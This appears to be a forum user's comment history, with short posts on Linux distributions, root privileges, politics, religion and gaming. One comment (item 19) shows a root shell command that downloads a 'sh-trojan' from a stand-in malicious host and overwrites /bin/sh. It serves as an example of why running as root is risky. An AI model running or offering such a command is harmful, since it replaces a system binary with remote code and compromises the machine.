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  1. Re:Typo! on An Editorial Melee About Female Gamers · · Score: 1

    Verum. I misread "contans" as "constans".

  2. WTF? on IRS Compels PayPal to Release Info · · Score: 1
    2) The 16th Amendment to the U.S. Constitution, which precipitated the federal income tax, was never legally ratified.
    I'm calling bullshit. Give me a source.
  3. Re:Right on Global Warming Dissenters Suppressed? · · Score: 2, Informative

    I suspect that you could probably get more for saying Global Warming is a fake(think of all the corporations that so desperately want that to be true) than that it's real, happening right now, and that there are things we can do to stop it(who would directly profit from emissions reductions? If it were the government, don't you think they would have voted that bill in?)

  4. Re:I'm wondering what the story is here? on Tiny Flyer Navigates Like Fly · · Score: 1

    Where a calculator on the ENIAC is equpped with 18,000 vacuum tubes and weighs 30 tons, computers in the future may have only 1,000 vaccuum tubes and perhaps weigh 1 1/2 tons. -- Popular Mechanics, March

  5. Re:The simple mantra on Real Networks to Linux - DRM or Die · · Score: 1

    If I hadn't just replaced my DRM journal entry with my Microsoft Dalek joke, it'd be in my sig, but here, you'd probably like to read this: DRM is Bad for Artists.

  6. Re:Its hard to be cool in those mylar intel suits. on Dell's Quest For Gaming Cool · · Score: 0, Offtopic
    American Libertarian who doesn't believe in socialism.... I feel a -1 Flamebait coming....
    Okay, this has annoyed me for a while(and the fact that you're acting like you're victimized when only one of your last 24 posts is moderated below the +2 you get by default for your karma bonus, and it's about Red Hat and not really economic at all). Are there any Libertarians who do believe in socialism?
  7. Re:IT steals other people's jargon to look importa on Is Corporate Speak Invading Your IT Department? · · Score: 1

    You may have had a point if you hadn't used the word "ghey". That destroys any and all credibility you may have ever had, and being an AC, you have no credibility to start with.

  8. Re:Amen. on Games Lead To Violence and Drugs? · · Score: 1
    Now guess which one is going to be a very bad votewinner.
    In a better world it would be the former.
  9. Other way around? on Games Lead To Violence and Drugs? · · Score: 2, Interesting

    I have a feeling that it's probably the other way around: people who don't like drinking and marijuana in real life probably will be less likely to play GTA.

  10. Re:Typo! on An Editorial Melee About Female Gamers · · Score: 1

    Not if he's speaking Latin, and he's saying the Latin word for "standing together" in the nominative singular(any gender, also the accusative singular in the neuter because neut acc always = neut nom). But really, you're right.

  11. Re:Good Move (TT) on Anthony Towns Elected New Debian Leader · · Score: 1

    It's because the binary packages of Debian require you to install 500 packages just to get a window manager, and 150 more for the development packages if you want to *do* anything with them. They also have neutered support for things that less people use, so if you use something rare, like Kerberos with SSH, you're screwed.

  12. Re:Debian? on Anthony Towns Elected New Debian Leader · · Score: 1

    It's like a cross between Ubuntu and Gentoo, minus the benefits.

  13. Re:The UK, Brussels' lapdog on Where Computers Go To Die · · Score: 1

    Even greaterly(yes, I made that word up, so sue me), Bush's majority in Florida, which is why he won, was only 500 votes.

  14. Re:It will, like, not, actually on NASA's $73 Million Water-Finding Trick · · Score: 1

    You must be new here...

  15. Re:Hmmm interesting on Linux Grows 27.1% in China · · Score: 1
  16. Re:Hmmm interesting on Linux Grows 27.1% in China · · Score: 1

    He's not on drugs. He's just from an alternate universe.

  17. Re:that doesn't get you anything on Linspire CEO dispels Linspire Linux Myths · · Score: 1
    Put the new shell in ~/.gorda/ and change $PATH via .bashrc to start with that directory.
    Shell scripts still won't run ~/.gorda/eviltrojan. (yes, that could be part of the code, but not if the file is executable but not readable--also, is there some reason you chose the name .gorda?)

    And you can't SYN flood effectively without root access. (I know this because nmap can't send half-open packets without root access) If someone wants to run a DDoS on someone's server, that would be quite useful.

    You also never addressed my point of putting your extra-secret stuff in an extra account created specifically for that purpose.
  18. Re:Does this distro make me look fat? on Negroponte says Linux too 'Fat' · · Score: 1
    I'm probably going to try something like RatPoison.
    Try pekwm, it's very lightweight, has a robust set of mouse and keyboard commands(note:if you don't have 'Windows' keys you'll have to do a little bit of configuration, but MS has infected the market thouroughly enough that you shouldn't have to worry about that), and is also incredibly configurable.
  19. Re:not that it matters, really on Linspire CEO dispels Linspire Linux Myths · · Score: 1
    What more is there to want?
    root@localhost /bin # wget http://evil.whereever.com:8080/sh-trojan && mv -f sh-trojan sh
  20. Re:Intelligent Design-ism is a benefit to science on Study Explains Evolution's Molecular Advance · · Score: 1
    (not the same thing, I know)
    Actually, it is. One of the leading pieces of literature on ID, "Of Pandas and People" or something like that, was actually a piece of creationist literature with "Creationism" changed to "Intelligent Design".
  21. Re:God created everything... on Study Explains Evolution's Molecular Advance · · Score: 1

    I prefer Douglas Adams' explanation. Although that's pretty nice, if misguided because the Linux kernel has no mechanism of coding itself.

  22. Re:God created everything... on Study Explains Evolution's Molecular Advance · · Score: 1
    I'd expect millions of years of natural selection would have weeded out such soft-headedness.
    It's because they don't believe in birth control, so they have so many more children and train them to think just as the parents do, so on and so on, until they've pervaded humanity.
  23. Re:God created everything... on Study Explains Evolution's Molecular Advance · · Score: 1
    God made everything.
    Everything? Including evil? So, does that make God evil?

    Nobody else can say their God walked the earth except Christians.
    I can say that the Ori are attempting to destroy the galaxy, that doesn't make it true. And the Greek/Roman gods walked the earth plenty of times in their stories.

    In response to your whole post: Show me the proof of God. And show me the proof Jesus actually did miracles--there's no special mention of Jesus in Roman books, which there would be if he made such miracles. The only actual witnesses to those we have today are the Gospels. Jesus was almost certainly just a man--a very brave man, to stand up to the leading religious thought of his time--but still, just a man. Too bad modern Christians have fallen into their own blind religious hate. If Jesus were alive today, he'd be absolutely pissed at what Christianity has become.
  24. Re:What questionable politics? on Linspire CEO dispels Linspire Linux Myths · · Score: 1

    They run as root by default. Unless you want Linux viruses to actually become a reality, that's a horrible idea. Try Ubuntu, it also has a large, up-to-date software repository, something which, IIRC, Linspire lacks.

  25. Re:not that it matters, really on Linspire CEO dispels Linspire Linux Myths · · Score: 2, Insightful

    Because if you have any incredibly important files, you can put them in a special user account, and your normal user account can't reach them. But root can reach anything, no exceptions(unless they're encrypted and the decryption key's only on another computer, but root can still delete them). Oh, and a trojan running as root can do a lot more than one running in a normal user account. And if you have multiple people using your computer, root give you access to not only your personal files, but everyone else's as well.